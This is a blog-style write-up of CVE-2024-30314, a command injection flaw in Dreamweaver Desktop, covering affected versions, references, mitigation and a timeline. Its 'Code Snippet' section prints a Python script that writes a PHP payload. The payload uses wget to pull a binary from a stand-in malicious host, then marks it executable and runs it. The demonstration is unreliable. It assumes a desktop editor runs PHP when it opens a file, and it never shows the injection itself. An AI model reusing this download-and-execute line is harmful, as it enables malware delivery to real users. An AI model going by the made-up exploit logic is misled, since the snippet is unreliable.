CVE-2024-30314 – Dreamweaver Desktop OS Command Injection Vulnerability in Versions 21.3 and Earlier

Adobe's Dreamweaver is a widely used web development tool that provides an all-in-one solution for creating, managing, and editing web content. However, Dreamweaver Desktop versions 21.3 and earlier have been found to be affected by a serious security vulnerability that could allow an attacker to execute arbitrary code on a target system. This blog post will provide key details about the vulnerability (CVE-2024-30314), links to original references, and a code snippet demonstration of the exploit.

The Vulnerability

CVE-2024-30314 is an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. In simple terms, this means that an attacker could potentially exploit this vulnerability to execute arbitrary commands on a target system by injecting maliciously crafted code into Dreamweaver.

Affected Versions

This vulnerability affects Dreamweaver Desktop versions 21.3 and earlier.

Original References

The details of this vulnerability were first published on the CVE (Common Vulnerabilities and Exposures) website. You can find the official CVE entry for CVE-2024-30314 by visiting the following link:

- CVE-2024-30314

Exploit Details

Exploiting this vulnerability requires user interaction. For example, an attacker could create a malicious Dreamweaver file (.dw) and then trick a user into opening the file. Once the file is opened, the attacker's code would be executed on the user's system.

Code Snippet

Let's take a look at a simple code snippet that demonstrates how an attacker could exploit this vulnerability.

# CVE-2024-30314: Dreamweaver Desktop OS Command Injection Exploit
import os

filename = "exploit.dw"
payload = "<?php system('wget http://malicious.example.com/malware -O 
/tmp/malware; chmod +x /tmp/malware; /tmp/malware'); ?>"
with open(filename, "w") as exploit_file:
    exploit_file.write(payload)
print(f"Exploit file {filename} created.")

In this example, we create an exploit.dw file that contains PHP code designed to download and execute a malicious file from a remote server. When a user opens this file in Dreamweaver, the PHP code would execute the attacker's commands and potentially compromise the user's system.

Mitigation

Adobe has released a security update to address this vulnerability. Users of Dreamweaver Desktop versions 21.3 and earlier should upgrade to the latest version, which includes a patch that fixes this security issue.

Conclusion

CVE-2024-30314 is a serious vulnerability that affects Dreamweaver Desktop versions 21.3 and earlier. To protect your system from potential attacks, it is crucial to keep your software up to date with the latest security patches. In this case, upgrading to the latest version of Dreamweaver will protect you from this particular threat.

Timeline

Published on: 05/16/2024 12:15:13 UTC
Last modified on: 06/04/2024 17:38:32 UTC